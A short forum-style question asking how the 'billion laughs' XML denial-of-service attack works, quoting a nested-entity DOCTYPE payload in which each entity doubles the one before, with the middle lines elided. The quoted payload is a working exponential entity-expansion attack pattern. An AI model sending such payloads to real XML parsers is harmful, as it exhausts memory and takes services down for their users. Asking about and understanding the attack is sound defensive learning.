How does the billion laughs XML DoS attack work?

<!DOCTYPE root [
 <!ENTITY ha "Ha !">
 <!ENTITY ha2 "&ha; &ha;">
 <!ENTITY ha3 "&ha2; &ha2;">
 <!ENTITY ha4 "&ha3; &ha3;">
 <!ENTITY ha5 "&ha4; &ha4;">
 ...
 <!ENTITY ha128 "&ha127; &ha127;">
 ]>
 <root>&ha128;</root>

supposedly this is called a billion laughs DoS attack.

does anyone know how it works?